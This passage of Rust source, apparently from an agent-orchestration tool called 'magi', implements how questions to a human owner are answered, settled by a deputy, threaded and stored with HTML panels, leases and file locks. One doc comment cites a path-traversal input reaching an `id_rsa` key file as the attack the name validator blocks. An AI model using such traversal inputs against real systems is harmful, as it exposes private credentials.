870        if ChoiceAction::Hold.matches_alias(reply)
871            && let Some(label) = self
872                .choices
873                .iter()
874                .find(|label| crate::triage::contextual_keep_held(self, label))
875        {
876            return Ok(label);
877        }
878        let matches: Vec<_> = self
879            .actions
880            .iter()
881            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
882            .collect();
883        match matches.as_slice() {
884            [(label, _)] => Ok(label.as_str()),
885            [] => bail!(
886                "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
887                serde_json::to_string(&self.choices).expect("serialize labels")
888            ),
889            _ => bail!(
890                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
891            ),
892        }
893    }
894
895    /// Record an answer. Rejects a choice the question does not offer, free
896    /// text on a multiple-choice question, an empty answer, and a second
897    /// answer.
898    ///
899    /// Every rejection here is a case where accepting would put a fabrication
900    /// in front of an agent as if the owner had said it. The messages are
901    /// distinct because the caller is a web handler that shows them verbatim,
902    /// and "that is not one of the choices" and "this question is multiple
903    /// choice" are different mistakes with different fixes.
904    pub fn answer(&mut self, answer: Answer) -> Result<()> {
905        self.answer_inner(answer)
906    }
907
908    /// Optional chat buttons validate the displayed conversation and PR head.
909    pub(crate) fn answer_chat_button(
910        &mut self,
911        answer: Answer,
912        talk: &str,
913        head: &str,
914    ) -> Result<()> {
915        anyhow::ensure!(
916            self.routed_chat.as_deref() == Some(talk),
917            "wrong approval chat"
918        );
919        anyhow::ensure!(
920            self.merge_target.as_ref().is_some_and(|t| t.head == head),
921            "stale approval head"
922        );
923        self.answer_inner(answer)
924    }
925
926    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
927        match self.status {
928            QuestionStatus::Answered => bail!(
929                "question {} was already answered; the run has moved on and a \
930                 second answer would be a decision nobody acted on",
931                self.short()
932            ),
933            QuestionStatus::Abandoned => bail!(
934                "question {} was abandoned and the run behind it is gone",
935                self.short()
936            ),
937            QuestionStatus::Open => {}
938        }
939        let body = match &answer {
940            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
941        };
942        if body.trim().is_empty() {
943            bail!(
944                "question {} needs an answer; an empty one tells the agent \
945                 nothing and it would guess anyway",
946                self.short()
947            );
948        }
949        match &answer {
950            Answer::Choice(c) if self.free_text() => bail!(
951                "question {} asks for free text, so `{c}` cannot be a choice \
952                 it offered",
953                self.short()
954            ),
955            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
956                "`{c}` is not one of the choices question {} offers: {}",
957                self.short(),
958                self.choices.join(", ")
959            ),
960            Answer::Text(_) if !self.free_text() => bail!(
961                "question {} is multiple choice; answer with one of: {}",
962                self.short(),
963                self.choices.join(", ")
964            ),
965            _ => {}
966        }
967        // `hold` is the safe word: it may carry the hold effect itself, but a
968        // producer that put any other effect behind it made a mistake.
969        if body.eq_ignore_ascii_case(crate::land::HOLD)
970            && self
971                .actions
972                .get(body)
973                .is_some_and(|a| *a != ChoiceAction::Hold)
974        {
975            bail!("hold cannot execute a question action");
976        }
977        self.answered_at = Some(Timestamp::now());
978        self.answer = Some(answer);
979        self.status = QuestionStatus::Answered;
980        Ok(())
981    }
982
983    /// Give up on an answer, keeping the record of what was asked.
984    ///
985    /// An answered question is left alone, which matters at exactly one moment:
986    /// the owner answering in the same second the wait's deadline passes. The
987    /// answer is the thing worth keeping there, and it has already been written
988    /// by another process.
989    ///
990    /// The reason is appended to [`Question::detail`] because the on-disk shape
991    /// is a contract with the front end and has no field of its own for it -
992    /// and "asked at 3am, nobody home for a day" belongs with the question, not
993    /// only in a log the operator will never open.
994    pub fn abandon(&mut self, why: impl Into<String>) {
995        if !self.status.open() {
996            return;
997        }
998        self.status = QuestionStatus::Abandoned;
999        let why = why.into();
1000        let why = why.trim();
1001        if why.is_empty() {
1002            return;
1003        }
1004        if !self.detail.is_empty() {
1005            self.detail.push('\n');
1006        }
1007        self.detail.push_str("\n_Abandoned: ");
1008        self.detail.push_str(why);
1009        self.detail.push_str("._\n");
1010    }
1011
1012    /// The answer as the asking agent should read it.
1013    ///
1014    /// One string for both kinds of question: the agent's prompt says "the
1015    /// owner answered:", and a chosen option and a typed sentence are the same
1016    /// thing at that point. `None` while the question is open or abandoned, so
1017    /// a caller cannot mistake silence for a decision.
1018    pub fn resolution(&self) -> Option<String> {
1019        match (self.status, &self.answer) {
1020            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1021                Some(a.clone())
1022            }
1023            _ => None,
1024        }
1025    }
1026
1027    /// A deputy recording the owner's decision, read from the owner's words.
1028    ///
1029    /// The owner decided in free text ("setup done", "merge it") on a
1030    /// question that offers choices, so no choice was ever tapped. This
1031    /// records `label` as the answer - and nothing else: applying it is the
1032    /// daemon's or component's existing path for an answered question. The
1033    /// deputy's reading of the owner's words is the authority; no quote is
1034    /// needed. Refused only when the question is routed to a task chat (that
1035    /// chat settles it), the caller is not this question's deputy seat,
1036    /// `label` is not an offered choice, or the question is no longer open.
1037    /// `note` is the deputy's optional explanation, kept with the record.
1038    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1039        if self.routed_task.is_some() {
1040            bail!("task decisions are handled by the task chat, not a deputy");
1041        }
1042        let Some(deputy) = &self.deputy else {
1043            bail!("question {} has no deputy", self.short());
1044        };
1045        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1046        if own != Some(seat) {
1047            bail!("only the deputy of question {} may settle it", self.short());
1048        }
1049        if !self.choices.iter().any(|c| c == label) {
1050            bail!(
1051                "`{label}` is not one of the choices offered on question {}",
1052                self.short()
1053            );
1054        }
1055        self.answer(Answer::Choice(label.to_owned()))?;
1056        self.thread.push(Turn {
1057            who: Who::Agent,
1058            body: format!("Settled as `{label}` on the owner's words."),
1059            at: Timestamp::now(),
1060            note: note
1061                .map(str::trim)
1062                .filter(|n| !n.is_empty())
1063                .map(str::to_owned),
1064        });
1065        self.delivered_turns = self.thread.len();
1066        Ok(())
1067    }
1068
1069    /// The owner speaking back without answering: a request for context, a
1070    /// clarifying question, anything short of a decision.
1071    ///
1072    /// Rejects the same two states [`Question::answer`] does, and for the same
1073    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1074    /// no run left listening for a reply - and an empty turn, which would tell
1075    /// the agent nothing it didn't already know. Never changes `status`: the
1076    /// question stays [`QuestionStatus::Open`], because the owner did not
1077    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1078    /// counting this as the one question it always was.
1079    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1080        match self.status {
1081            QuestionStatus::Answered => bail!(
1082                "question {} was already answered; there is nothing left to \
1083                 discuss",
1084                self.short()
1085            ),
1086            QuestionStatus::Abandoned => bail!(
1087                "question {} was abandoned and the run behind it is gone",
1088                self.short()
1089            ),
1090            QuestionStatus::Open => {}
1091        }
1092        let body = body.into();
1093        if body.trim().is_empty() {
1094            bail!("a message to question {} cannot be empty", self.short());
1095        }
1096        self.thread.push(Turn {
1097            who: Who::Operator,
1098            body,
1099            at: Timestamp::now(),
1100            note: None,
1101        });
1102        Ok(())
1103    }
1104
1105    /// The agent replying to the owner's last word, in place of an answer:
1106    /// same question, same id, another round.
1107    ///
1108    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1109    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1110    /// wholesale: the whole point of asking back is that what should be
1111    /// offered next may have changed, and a caller that wanted the old set
1112    /// unchanged can simply pass it again. An empty `Vec` means free text,
1113    /// exactly as it does when the question is first asked.
1114    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1115        match self.status {
1116            QuestionStatus::Answered => bail!(
1117                "question {} was already answered; replying now would not \
1118                 reach anyone",
1119                self.short()
1120            ),
1121            QuestionStatus::Abandoned => bail!(
1122                "question {} was abandoned and the run behind it is gone",
1123                self.short()
1124            ),
1125            QuestionStatus::Open => {}
1126        }
1127        let body = body.into();
1128        if body.trim().is_empty() {
1129            bail!("a reply to question {} cannot be empty", self.short());
1130        }
1131        // An action whose label is no longer offered could never fire.
1132        self.actions.retain(|label, _| choices.contains(label));
1133        self.choices = choices;
1134        let unread = self.unread_from_owner().is_some();
1135        self.thread.push(Turn {
1136            who: Who::Agent,
1137            body,
1138            at: Timestamp::now(),
1139            note: None,
1140        });
1141        // The agent has read everything up to its own reply - but only if
1142        // nothing the owner said in the meantime is still unread. A second say
1143        // that landed after the agent's last look must stay undelivered.
1144        if !unread {
1145            self.delivered_turns = self.thread.len();
1146        }
1147        Ok(())
1148    }
1149
1150    /// What the owner said that the agent has not read yet, oldest first,
1151    /// joined. `None` unless the question is open and such a turn exists.
1152    ///
1153    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1154    /// second owner turn it never saw, which leaves the last turn the agent's
1155    /// and the ball apparently back with the owner while a say is still unread.
1156    pub fn unread_from_owner(&self) -> Option<String> {
1157        if !self.status.open() {
1158            return None;
1159        }
1160        let said = self.undelivered_owner_turns();
1161        (!said.is_empty()).then(|| said.join("\n\n"))
1162    }
1163
1164    /// Owner turns the agent has not been handed yet, oldest first, whatever
1165    /// the question's status. [`Question::unread_from_owner`] adds the "still
1166    /// open" guard the waiter and the deputy rely on; an answer being handed
1167    /// over needs the says that came before it even though the question is
1168    /// closed by then.
1169    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1170        let from = self.delivered_turns.min(self.thread.len());
1171        self.thread[from..]
1172            .iter()
1173            .filter(|t| t.who == Who::Operator)
1174            .map(|t| t.body.as_str())
1175            .collect()
1176    }
1177
1178    /// When the conversation last moved: the newest thread turn, or the asking
1179    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1180    /// every reply, so a deadline runs from here and not from `asked_at`.
1181    pub fn last_activity(&self) -> i64 {
1182        self.thread
1183            .iter()
1184            .map(|t| t.at.as_second())
1185            .max()
1186            .unwrap_or(0)
1187            .max(self.asked_at.as_second())
1188    }
1189
1190    /// Is the ball in the agent's court?
1191    ///
1192    /// True from the moment the owner speaks back until the agent's next
1193    /// [`Question::reply`], and never on a fresh or an already-settled
1194    /// question. [`QuestionStatus`] does not move for either side of this -
1195    /// see [`Question::say`] - so this is the one place that state is
1196    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1197    /// separately rather than asking the phone to infer it from the thread.
1198    pub fn waiting_on_agent(&self) -> bool {
1199        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1200    }
1201
1202    /// Should a notification go out right now?
1203    ///
1204    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1205    /// there is no earlier operator turn to have already caught anyone's
1206    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1207    /// since the owner's own last word - see that constant for why the window
1208    /// exists at all and why its length is not configurable.
1209    fn should_notify(&self, now: Timestamp) -> bool {
1210        let Some(last) = self
1211            .thread
1212            .iter()
1213            .rev()
1214            .find(|t| t.who == Who::Operator)
1215            .map(|t| t.at)
1216        else {
1217            return true;
1218        };
1219        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1220    }
1221}
1222
1223/// A question store on disk.
1224#[derive(Debug, Clone)]
1225pub struct Questions {
1226    root: PathBuf,
1227}
1228
1229impl Questions {
1230    /// The operator's questions, `<home>/questions`.
1231    pub fn open() -> Self {
1232        Self::at(crate::run::home().join("questions"))
1233    }
1234
1235    /// A store at an explicit root. Tests use this, which is why none of them
1236    /// need the operator's real home.
1237    pub fn at(root: PathBuf) -> Self {
1238        Self { root }
1239    }
1240
1241    /// Directory holding the question files.
1242    pub fn root(&self) -> &Path {
1243        &self.root
1244    }
1245
1246    /// Path for one question id.
1247    pub fn path_of(&self, id: &str) -> PathBuf {
1248        self.root.join(format!("{id}.json"))
1249    }
1250
1251    /// Directory holding one question's panel, `<root>/<id>.panel`.
1252    pub fn panel_dir(&self, id: &str) -> PathBuf {
1253        self.root.join(format!("{id}{PANEL_DIR}"))
1254    }
1255
1256    /// Store a panel: the html, plus `assets` copied in under their base
1257    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1258    /// question, or the record on disk will deny having a panel that exists.
1259    ///
1260    /// The assets are **copied, not referenced**. An agent authors its panel
1261    /// inside a candidate worktree and points at files there, and `magi fold`
1262    /// deletes those worktrees; a question is the permanent record of a
1263    /// decision the owner took, so a panel that referenced its own images
1264    /// would render as broken boxes exactly when someone went back to ask why
1265    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1266    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1267    /// so the bytes counted and the bytes written are the same target file's -
1268    /// which is the intent: storing a link would leave the panel pointing at
1269    /// the worktree again, one indirection further away.
1270    ///
1271    /// Everything that can be rejected is rejected before the first byte is
1272    /// written, and the panel is then assembled in a scratch directory and
1273    /// swapped in. So a refusal leaves the previous panel intact, and a
1274    /// success replaces it *wholesale* rather than merging: a re-asked
1275    /// question showing one attempt's diff next to another attempt's table
1276    /// would be a panel neither agent ever wrote.
1277    ///
1278    /// [`put`]: Questions::put
1279    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1280        if !valid_asset_name(&q.id) {
1281            bail!(
1282                "question id `{}` is not a name magi will build a panel path from",
1283                q.id
1284            );
1285        }
1286        if html.trim().is_empty() {
1287            bail!(
1288                "question {} was handed an empty panel; an empty frame reads to \
1289                 the owner as \"the agent had nothing to say\", which is a lie",
1290                q.short()
1291            );
1292        }
1293
1294        // Names, then sizes, then writing - in that order, so nothing below
1295        // can leave a partial panel on disk.
1296        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1297        for src in assets {
1298            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1299            if !valid_asset_name(name) {
1300                bail!(
1301                    "panel asset `{}` cannot be stored: a panel file name must \
1302                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1303                    src.display()
1304                );
1305            }
1306            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1307                bail!(
1308                    "two panel assets are both named `{name}` - {} and {} - and \
1309                     the panel can only show one of them; rename one at the source",
1310                    first.display(),
1311                    src.display()
1312                );
1313            }
1314            named.push((name.to_owned(), src.as_path()));
1315        }
1316
1317        let mut total = html.len() as u64;
1318        for (_, src) in &named {
1319            let meta = std::fs::metadata(src)
1320                .with_context(|| format!("stat panel asset {}", src.display()))?;
1321            if !meta.is_file() {
1322                bail!(
1323                    "panel asset `{}` is not a file; a panel is html plus files \
1324                     copied beside it",
1325                    src.display()
1326                );
1327            }
1328            total = total.saturating_add(meta.len());
1329        }
1330        if total > PANEL_MAX_BYTES {
1331            bail!(
1332                "panel for question {} is {total} bytes, over magi's cap of \
1333                 {PANEL_MAX_BYTES} bytes; nothing was written",
1334                q.short()
1335            );
1336        }
1337
1338        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1339        let dir = self.panel_dir(&q.id);
1340        std::fs::create_dir_all(&self.root)
1341            .with_context(|| format!("create {}", self.root.display()))?;
1342        clear_dir(&tmp)?;
1343        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1344        if let Err(e) = fill_panel(&tmp, html, &named) {
1345            // A copy that dies halfway must not become the panel, and must not
1346            // leave scratch behind for the next call to inherit.
1347            let _ = std::fs::remove_dir_all(&tmp);
1348            return Err(e);
1349        }
1350        clear_dir(&dir)?;
1351        std::fs::rename(&tmp, &dir)
1352            .with_context(|| format!("move panel into {}", dir.display()))?;
1353
1354        q.panel = true;
1355        q.assets = named.into_iter().map(|(n, _)| n).collect();
1356        q.assets.sort_unstable();
1357        Ok(())
1358    }
1359
1360    /// The panel's html, or `None` when the question has no panel.
1361    ///
1362    /// `None` rather than an error for a missing panel because the caller is a
1363    /// web handler whose answer is 404 either way, and an unreadable panel is
1364    /// not a reason to fail the question it belongs to.
1365    pub fn panel_html(&self, id: &str) -> Option<String> {
1366        if !valid_asset_name(id) {
1367            return None;
1368        }
1369        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1370    }
1371
1372    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1373    /// not a name a panel file can have".
1374    ///
1375    /// Rejects a name failing [`valid_asset_name`] **before touching the
1376    /// filesystem**, which is the whole point of the second check: the name
1377    /// arrives from a URL, the directory is on disk where any process could
1378    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1379    /// operating system would resolve perfectly happily. The two callers'
1380    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1381    /// `Result<Option<_>>` rather than one flattened `Option`.
1382    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1383        if !valid_asset_name(name) {
1384            bail!(
1385                "`{name}` is not a panel file name; it must match \
1386                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1387            );
1388        }
1389        if !valid_asset_name(id) {
1390            return Ok(None);
1391        }
1392        let dir = self.panel_dir(id);
1393        if !dir.is_dir() {
1394            return Ok(None);
1395        }
1396        let path = dir.join(name);
1397        match std::fs::read(&path) {
1398            Ok(bytes) => Ok(Some(bytes)),
1399            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1400            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1401        }
1402    }
1403
1404    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1405    ///
1406    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1407    /// not have to know whether a panel was ever written. The question record
1408    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1409    /// in the same order as everywhere else here.
1410    ///
1411    /// [`put_panel`]: Questions::put_panel
1412    pub fn drop_panel(&self, id: &str) -> Result<()> {
1413        if !valid_asset_name(id) {
1414            bail!("question id `{id}` is not a name magi will build a panel path from");
1415        }
1416        clear_dir(&self.panel_dir(id))?;
1417        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1418    }
1419
1420    /// Path of the lease sidecar for one question id.
1421    pub fn lease_path(&self, id: &str) -> PathBuf {
1422        self.root.join(format!("{id}.lease"))
1423    }
1424
1425    /// The lease on a question, if a readable one exists.
1426    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1427        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1428        serde_json::from_str(&body).ok()
1429    }
1430
1431    /// Say, as `kind`, that something is alive and waiting on this question.
1432    ///
1433    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1434    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1435    /// the holder is gone a little early, and that is what the delivery guard
1436    /// (the seat still being busy) is there for.
1437    pub fn beat(&self, id: &str, kind: WaiterKind) {
1438        let lease = Lease {
1439            kind,
1440            pid: std::process::id(),
1441            beat_at: Timestamp::now(),
1442        };
1443        let path = self.lease_path(id);
1444        let tmp = path.with_extension("lease.tmp");
1445        let written = std::fs::create_dir_all(&self.root)
1446            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1447            .and_then(|()| std::fs::rename(&tmp, &path));
1448        if let Err(e) = written {
1449            tracing::debug!("could not beat the lease on question {id}: {e}");
1450        }
1451    }
1452
1453    /// Remove the lease sidecar. Absent is fine.
1454    pub fn drop_lease(&self, id: &str) {
1455        let _ = std::fs::remove_file(self.lease_path(id));
1456    }
1457
1458    /// Read-modify-write one question under a short exclusive lock, so the
1459    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1460    /// each other with a copy that predates the others.
1461    ///
1462    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1463    /// a torn file and does nothing for two writers that both read the same
1464    /// version first. Everything that changes a question that can still be
1465    /// answered goes through here: `f` sees the current record, not one loaded
1466    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1467    /// mid-update and is broken.
1468    pub fn update<T>(
1469        &self,
1470        id: &str,
1471        f: impl FnOnce(&mut Question) -> Result<T>,
1472    ) -> Result<(Question, T)> {
1473        std::fs::create_dir_all(&self.root)
1474            .with_context(|| format!("create {}", self.root.display()))?;
1475        let lock = self.root.join(format!("{id}.lock"));
1476        let started = std::time::Instant::now();
1477        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1478        loop {
1479            match retry.create(&lock) {
1480                Ok(_) => break,
1481                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1482                    let stale = std::fs::metadata(&lock)
1483                        .and_then(|m| m.modified())
1484                        .ok()
1485                        .and_then(|t| t.elapsed().ok())
1486                        .is_some_and(|age| age > LOCK_STALE);
1487                    if stale {
1488                        let _ = std::fs::remove_file(&lock);
1489                    } else if started.elapsed() > LOCK_STALE {
1490                        bail!("could not lock question {id}");
1491                    } else {
1492                        std::thread::sleep(Duration::from_millis(15));
1493                    }
1494                }
1495                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1496            }
1497        }
1498        struct Unlock(PathBuf);
1499        impl Drop for Unlock {
1500            fn drop(&mut self) {
1501                let _ = std::fs::remove_file(&self.0);
1502            }
1503        }
1504        let _guard = Unlock(lock);
1505        let mut q = read_path(&self.path_of(id))?;
1506        let effective_dismissal = |q: &Question| {
1507            q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1508                && !self.root.parent().is_some_and(|home| {
1509                    crate::task_chat::saved_reply_requires_confirmation(home, q)
1510                })
1511        };
1512        let was_dismissed = effective_dismissal(&q);
1513        let prior_answer = (q.answered_at, q.resolution());
1514        let out = f(&mut q)?;
1515        if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1516            let home = self.root.parent().context("question store has no home")?;
1517            q.accepted_answer_at = q.answered_at;
1518            crate::task_chat::accept_fresh_reply(home, &q)?;
1519        }
1520        if !was_dismissed && effective_dismissal(&q) {
1521            let home = self.root.parent().context("question store has no home")?;
1522            crate::merge_decision::dismiss(home, &q)?;
1523        }
1524        self.put(&mut q)?;
1525        Ok((q, out))
1526    }
1527
1528    /// File a component-owned question only when every choice has an effect.
1529    /// Legacy records remain readable; this is deliberately a creation check.
1530    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1531        anyhow::ensure!(
1532            q.actions.keys().all(|c| q.choices.contains(c)),
1533            "question action names an unoffered choice"
1534        );
1535        for label in &q.choices {
1536            anyhow::ensure!(
1537                crate::choice_effect::describe(q, label).is_some(),
1538                "question node {} offers an unsupported choice: {label}",
1539                q.node
1540            );
1541        }
1542        self.put(q)
1543    }
1544
1545    /// Write a question, atomically, so a process killed mid-write leaves the
1546    /// previous state readable rather than a truncated file that would strand
1547    /// the run waiting on it.
1548    pub fn put(&self, q: &mut Question) -> Result<()> {
1549        if q.status.open()
1550            && q.routed_task.is_none()
1551            && let Some(home) = self.root.parent()
1552        {
1553            let tasks = crate::queue::Queue::at(home.join("queue")).list();
1554            q.routed_task =
1555                crate::task_chat::task_of(q, &tasks).filter(|_| crate::task_chat::chat_routable(q));
1556        }
1557        std::fs::create_dir_all(&self.root)
1558            .with_context(|| format!("create {}", self.root.display()))?;
1559        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1560        let path = self.path_of(&q.id);
1561        let tmp = path.with_extension("json.tmp");
1562        let is_new = !path.exists();
1563        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1564        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1565        // A first write of an open question pages the operator, so a separate
1566        // notification about the same task or run is now a second page.
1567        if is_new
1568            && q.status.open()
1569            && q.node != crate::bump::NOTICE_NODE
1570            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1571        {
1572            crate::notices::quiet_for(home, q);
1573        }
1574        Ok(())
1575    }
1576
1577    /// Decode an exact saved record for migration without repair upgrades,
1578    /// routing writes, lease changes or any other operational side effect.
1579    pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1580        anyhow::ensure!(
1581            !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1582            "invalid saved inquiry identity"
1583        );
1584        let q = read_path(&self.path_of(id))?;
1585        anyhow::ensure!(
1586            q.id == id,
1587            "saved inquiry identity does not match its filename"
1588        );
1589        Ok(q)
1590    }
1591
1592    /// Load a question by id or unambiguous id prefix.
1593    pub fn get(&self, id: &str) -> Result<Question> {
1594        let resolved = self.resolve_id(id)?;
1595        let q = read_path(&self.path_of(&resolved))?;
1596        Ok(self.consumption_view(self.with_repair_choice(q)))
1597    }
1598
1599    // Keep the source JSON intact for the passive history decoder. Every
1600    // operational reader sees an unanswered hold until a fresh owner answer
1601    // exists; neither delivery nor a saved legacy reply supplies that authority.
1602    fn consumption_view(&self, q: Question) -> Question {
1603        let migrated = self
1604            .root
1605            .parent()
1606            .is_some_and(|home| crate::task_chat::migrated_source(home, &q.id));
1607        self.consumption_view_in(q, migrated)
1608    }
1609
1610    fn consumption_view_in(&self, mut q: Question, migrated: bool) -> Question {
1611        if self.root.parent().is_some_and(|home| {
1612            crate::task_inquiry::Outbox::at(home)
1613                .get(&q.id)
1614                .is_ok_and(|record| {
1615                    record.decision.is_some_and(|d| {
1616                        d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1617                    })
1618                })
1619        }) {
1620            // Keep the immutable source reply in read_history, while every
1621            // operational reader observes the owner's explicit settlement.
1622            q.answer = None;
1623            q.answered_at = None;
1624            q.answer_authority = None;
1625            q.status = QuestionStatus::Abandoned;
1626            return q;
1627        }
1628        if let Some(home) = self.root.parent()
1629            && migrated
1630            && !crate::task_chat::standalone_inquiry(home, &q)
1631            && crate::task_chat::source_reply_needs_confirmation(home, &q)
1632        {
1633            let saved = q.resolution().unwrap_or_default();
1634            q.detail.push_str(&format!(
1635                "\n\nSaved reply (history only; no new owner request): {saved}"
1636            ));
1637            q.answer = None;
1638            q.answered_at = None;
1639            q.answer_authority = None;
1640            q.status = if crate::task_inquiry::Outbox::at(home)
1641                .get(&q.id)
1642                .is_ok_and(|record| {
1643                    record.archived
1644                        || record
1645                            .decision
1646                            .is_some_and(|d| d.status == crate::task_decision::Status::Resolved)
1647                }) {
1648                QuestionStatus::Abandoned
1649            } else {
1650                QuestionStatus::Open
1651            };
1652        }
1653        q
1654    }
1655
1656    fn with_repair_choice(&self, mut q: Question) -> Question {
1657        // Older local release approvals already persisted their displayed head
1658        // in the watch record. Recover that binding, never today's forge head.
1659        if q.status.open()
1660            && q.merge_target.is_none()
1661            && let Some(home) = self.root.parent()
1662            && let Some(target) = crate::release_watch::approval_target(home, &q)
1663            && let Ok((current, ())) = self.update(&q.id, |current| {
1664                if current.status.open() && current.merge_target.is_none() {
1665                    current.merge_target = Some(target.clone());
1666                }
1667                Ok(())
1668            })
1669        {
1670            q = current;
1671        }
1672        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1673            && q.node == crate::land::APPROVAL_NODE
1674            && let Some(home) = self.root.parent()
1675            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1676        {
1677            let mut upgraded = q.clone();
1678            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1679                match self.update(&q.id, |current| {
1680                    crate::land::upgrade_repair_choice(current, &state);
1681                    Ok(())
1682                }) {
1683                    Ok((current, ())) => return current,
1684                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1685                }
1686            }
1687        }
1688        q
1689    }
1690
1691    /// Every question on disk: open first, then newest first.
1692    ///
1693    /// Open first because that ordering is the product - the list exists to
1694    /// show the operator what has stopped, and an answered question is history
1695    /// underneath it. Unreadable files are skipped rather than fatal: one
1696    /// corrupt question must not take the web UI down, and must certainly not
1697    /// hide the open question the operator was looking for.
1698    pub fn list(&self) -> Vec<Question> {
1699        // Parse the immutable boundary once per scan, rather than once per file.
1700        let sources = self.root.parent().map(crate::task_chat::migration_sources);
1701        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1702            .into_iter()
1703            .flatten()
1704            .flatten()
1705            .map(|e| e.path())
1706            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1707            .filter_map(|p| read_path(&p).ok())
1708            .map(|q| {
1709                let migrated = match &sources {
1710                    Some(Ok(Some(ids))) => ids.contains(&q.id),
1711                    Some(_) => true,
1712                    None => false,
1713                };
1714                self.consumption_view_in(self.with_repair_choice(q), migrated)
1715            })
1716            .collect();
1717        all.sort_unstable_by(|a, b| {
1718            let rank = |q: &Question| u8::from(!q.status.open());
1719            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1720        });
1721        all
1722    }
1723
1724    /// Strict read-only snapshot for control transactions. Unlike the UI
1725    /// list, this neither upgrades question choices nor skips unreadable
1726    /// records that might contain an unresolved owner decision.
1727    pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1728        let entries = match std::fs::read_dir(&self.root) {
1729            Ok(entries) => entries,
1730            Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1731            Err(error) => return Err(error).context("inspect pending questions"),
1732        };
1733        let mut questions = Vec::new();
1734        for entry in entries {
1735            let path = entry?.path();
1736            if path.extension().is_some_and(|ext| ext == "json") {
1737                questions.push(read_path(&path)?);
1738            }
1739        }
1740        Ok(questions)
1741    }
1742
1743    /// Open questions belonging to one run, newest first.
1744    ///
1745    /// Used to decide whether a parked run can be resumed: while this is
1746    /// non-empty, nothing about the run has changed and no agent should be
1747    /// spawned for it.
1748    pub fn open_for(&self, run: &str) -> Vec<Question> {
1749        self.list()
1750            .into_iter()
1751            .filter(|q| q.status.open() && q.run == run)
1752            .collect()
1753    }
1754
1755    /// Abandon every open question belonging to a run, and report how many.
1756    ///
1757    /// Called when a run's record is deleted. The agent that asked died with
